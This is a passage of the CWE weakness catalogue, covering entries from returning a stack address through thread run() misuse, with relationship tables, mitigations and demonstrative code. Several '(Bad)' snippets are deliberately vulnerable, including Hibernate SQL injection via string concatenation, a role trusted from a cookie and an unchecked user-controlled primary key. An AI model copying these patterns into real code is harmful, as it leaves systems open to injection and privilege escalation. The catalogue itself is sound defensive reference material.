Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472
CanPrecede		672	Operation on a Resource after Expiration or Release	1386
CanPrecede		825	Expired Pointer Dereference	1612

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

**Weakness Ordinalities**

**Indirect :**

**Primary :**

**Applicable Platforms**

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Common Consequences**

Scope	Impact	Likelihood
Availability	Read Memory	
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart	
<p><i>If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If the address is used for writing, this can lead to a crash and possibly code execution.</i></p>		

**Potential Mitigations**

**Phase: Testing**

Use static analysis tools to spot return of the address of a stack variable.

**Demonstrative Examples**

**Example 1:**

The following function returns a stack address.

*Example Language: C*

*(Bad)*

```
char* getName() {
    char name[STR_MAX];
    fillInName(name);
    return name;
}
```

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1156	SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1154	2248
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL30-C	CWE More Specific	Declare objects with appropriate storage durations
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
Software Fault Patterns	SFP1		Glitch in computation

## CWE-563: Assignment to Variable without Use

**Weakness ID** : 563

**Structure** : Simple

**Abstraction** : Variant

### Description

The variable's value is assigned but never used, making it a dead store.

### Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	1164	Irrelevant Code	1823

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Alternate Terms

**Unused Variable** :

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Scope	Impact	Likelihood
	<i>This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.</i>	

### Potential Mitigations

#### Phase: Implementation

Remove unused variables from the code.

### Demonstrative Examples

#### Example 1:

The following code excerpt assigns to the variable r and then overwrites the value without using it.

Example Language: C

(Bad)

```
r = getName();
r = getNewBuffer(buf);
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	2175
MemberOf	C	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	1178	2261

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
SEI CERT Perl Coding Standard	MSC01-PL	Imprecise	Detect and remove unused variables
Software Fault Patterns	SFP2		Unused Entities

## CWE-564: SQL Injection: Hibernate

**Weakness ID :** 564

**Structure :** Simple

**Abstraction :** Variant

### Description

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	⊗	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195

*Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)*

Nature	Type	ID	Name	Page
ChildOf	⊗	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

#### Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

#### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

#### Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

#### Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

### Demonstrative Examples

#### Example 1:



The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Example Language: Java

(Bad)

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street=" + street + "");
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf		1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
109	Object Relational Mapping Injection

## CWE-565: Reliance on Cookies without Validation and Integrity Checking

**Weakness ID** : 565

**Structure** : Simple

**Abstraction** : Base

### Description

The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

### Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		602	Client-Side Enforcement of Server-Side Security	1271
ChildOf		642	External Control of Critical State Data	1330
ParentOf		784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1539


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

#### Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

#### Phase: Architecture and Design

Add integrity checks to detect tampering.

#### Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

### Demonstrative Examples

#### Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

*Example Language: Java*

*(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188
MemberOf		1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

## Notes

### Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP29		Faulty endpoint authentication

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
226	Session Credential Falsification through Manipulation

## CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

**Weakness ID** : 566

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

### Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.


Database access control errors occur when:

- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		639	Authorization Bypass Through User-Controlled Key	1324

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Applicable Platforms

**Technology** : Database Server (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

#### Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

### Demonstrative Examples

#### Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

*Example Language: C#*

*(Bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand("SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		994	SFP Secondary Cluster: Tainted Input to Variable	888	2210

Nature	Type	ID	Name	V	Page
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable

## CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

**Weakness ID** : 567

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

### Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1601
CanPrecede	B	488	Exposure of Data Element to Wrong Session	1104

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	G	662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	G	662	Improper Synchronization	1363

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2122

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Availability	DoS: Instability DoS: Crash, Exit, or Restart	
<p><i>If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.</i></p>		

### Potential Mitigations

#### Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

### Demonstrative Examples

#### Example 1:

The following code implements a basic counter for how many times the page has been accessed.

*Example Language: Java*

*(Bad)*

```
public static class Counter extends HttpServlet {
    static int count = 0;
    protected void doGet(HttpServletRequest in, HttpServletResponse out)
        throws ServletException, IOException {
        out.setContentType("text/plain");
        PrintWriter p = out.getWriter();
        count++;
        p.println(count + " hits so far!");
    }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

- Assume this is the first occurrence of `doGet`, so the value of `count` is 0.
- `doGet()` is called within Thread A.
- The execution of `doGet()` in Thread A continues to the point AFTER the value of the `count` variable is read, then incremented, but BEFORE it is saved back to `count`. At this stage, the incremented value is 1, but the value of `count` is 0.
- `doGet()` is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the `count` variable is accessed (where it is still 0), incremented, and saved. After the save, `count` is 1.
- Thread A continues. It saves the intermediate, incremented value to the `count` variable - but the incremented value is 1, so `count` is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of `count` should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2159
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2205
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2241

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
Software Fault Patterns	SFP19		Missing Lock

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

## CWE-568: finalize() Method Without super.finalize()

**Weakness ID** : 568

**Structure** : Simple

**Abstraction** : Variant

### Description

The product contains a finalize() method that does not call super.finalize().

### Extended Description

The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	573	Improper Following of Specification by Caller	1222
ChildOf	B	459	Incomplete Cleanup	1038

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations



**Phase: Implementation**

Call the super.finalize() method.

**Phase: Testing**

Use static analysis tools to spot such issues in your code.

**Demonstrative Examples**

**Example 1:**

The following method omits the call to super.finalize().

*Example Language: Java*

*(Bad)*

```
protected void finalize() {
    discardNative();
}
```

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

**CWE-570: Expression is Always False**

**Weakness ID :** 570  
**Structure :** Simple  
**Abstraction :** Base

**Description**

The product contains an expression that will always evaluate to false.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
CanPrecede	B	561	Dead Code	1201

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	569	Expression Issues	2123

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### Potential Mitigations

#### Phase: Testing

Use Static Analysis tools to spot such conditions.

### Demonstrative Examples

#### Example 1:

In the following Java example the `updateUserAccountOrder()` method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

*Example Language: Java*

*(Bad)*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
    boolean isValidProduct = false;
    boolean isValidAccount = false;
    if (validProductNumber(productNumber)) {
        isValidProduct = true;
        updateInventory(productNumber);
    }
    else {
        return;
    }
    if (validAccountNumber(accountNumber)) {
        isValidProduct = true;
        updateAccount(accountNumber, productNumber);
    }
    if (isValidProduct && isValidAccount) {
        updateAccountOrder(accountNumber, productNumber);
    }
}
```

However, the method never sets the `isValidAccount` variable after initializing it to false so the `isValidProduct` is mistakenly used twice. The result is that the expression "`isValidProduct && isValidAccount`" will always evaluate to false, so the `updateAccountOrder()` method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

*Example Language:*

*(Good)*

```
...
if (validAccountNumber(accountNumber)) {
    isValidAccount = true;
    updateAccount(accountNumber, productNumber);
}
...
```

**Example 2:**

In the following example, the `hasReadWriteAccess` method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable `mask` is defined as a bit mask from the `BIT_READ` and `BIT_WRITE` constants that have been defined. The variable `mask` is used within the predicate of the `hasReadWriteAccess` method to determine if the `userMask` input parameter has the read and write bits set.

*Example Language: C**(Bad)*

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
    // if the userMask has read and write bits set
    // then return 1 (true)
    if (userMask & mask) {
        return 1;
    }
    // otherwise return 0 (false)
    return 0;
}
```

However the bit operator used to initialize the `mask` variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable `mask` being set to 0. As a result, the `if` statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

**Example 3:**

In the following example, the `updateInventory` method used within an e-business inventory application will update the inventory for a particular product. This method includes an `if` statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

*Example Language: C**(Bad)*

```
int updateInventory(char* productNumber, int numberOfItems) {
    int initCount = getProductCount(productNumber);
    int updatedCount = initCount + numberOfItems;
    int updated = updateProductCount(updatedCount);
    // if statement for debugging purposes only
    if (1 == 0) {
        char productName[128];
        productName = getProductName(productNumber);
        printf("product %s initially has %d items in inventory \n", productName, initCount);
        printf("adding %d items to inventory for %s \n", numberOfItems, productName);
        if (updated == 0) {
            printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
        }
        else {
            printf("Inventory not updated for product: %s \n", productName);
        }
    }
    return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

## CWE-571: Expression is Always True

**Weakness ID :** 571  
**Structure :** Simple  
**Abstraction :** Base

### Description

The product contains an expression that will always evaluate to true.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
CanPrecede	B	561	Dead Code	1201

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2123

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Scope	Impact	Likelihood
	Varies by Context	

## Potential Mitigations

### Phase: Testing

Use Static Analysis tools to spot such conditions.

## Demonstrative Examples

### Example 1:

In the following Java example the `updateInventory()` method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Example Language: Java

(Bad)

```
public void updateInventory(String productNumber) {
    boolean isProductAvailable = false;
    boolean isDelayed = false;
    if (productInStore(productNumber)) {
        isProductAvailable = true;
        updateInStoreDatabase(productNumber);
    }
    else if (productInWarehouse(productNumber)) {
        isProductAvailable = true;
        updateInWarehouseDatabase(productNumber);
    }
    else {
        isProductAvailable = true;
    }
    if ( isProductAvailable ) {
        updateProductDatabase(productNumber);
    }
    else if ( isDelayed ) {
        /* Warn customer about delay before order processing */
        ...
    }
}
```

However, the method never sets the `isDelayed` variable and instead will always update the `isProductAvailable` variable to true. The result is that the predicate testing the `isProductAvailable` boolean will always evaluate to true and therefore always update the product database. Further, since the `isDelayed` variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

## CWE-572: Call to Thread run() instead of start()

**Weakness ID :** 572

**Structure :** Simple

**Abstraction :** Variant

### Description

The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

### Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	821	Incorrect Synchronization	1603

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### Potential Mitigations

#### Phase: Implementation

Use the start() method instead of the run() method.

### Demonstrative Examples

#### Example 1:

The following excerpt from a Java program mistakenly calls run() instead of start().

*Example Language: Java*

*(Bad)*

```
Thread thr = new Thread() {
    public void run() {
        ...
    }
};
thr.run();
```

## Affected Resources

- System Process

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	844	2160
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	C	1144	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)	1133	2242

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	THI00-J		Do not invoke Thread.run()
Software Fault Patterns	SFP3		Use of an improper API

## CWE-573: Improper Following of Specification by Caller

**Weakness ID** : 573

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

### Extended Description

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

### Relationships

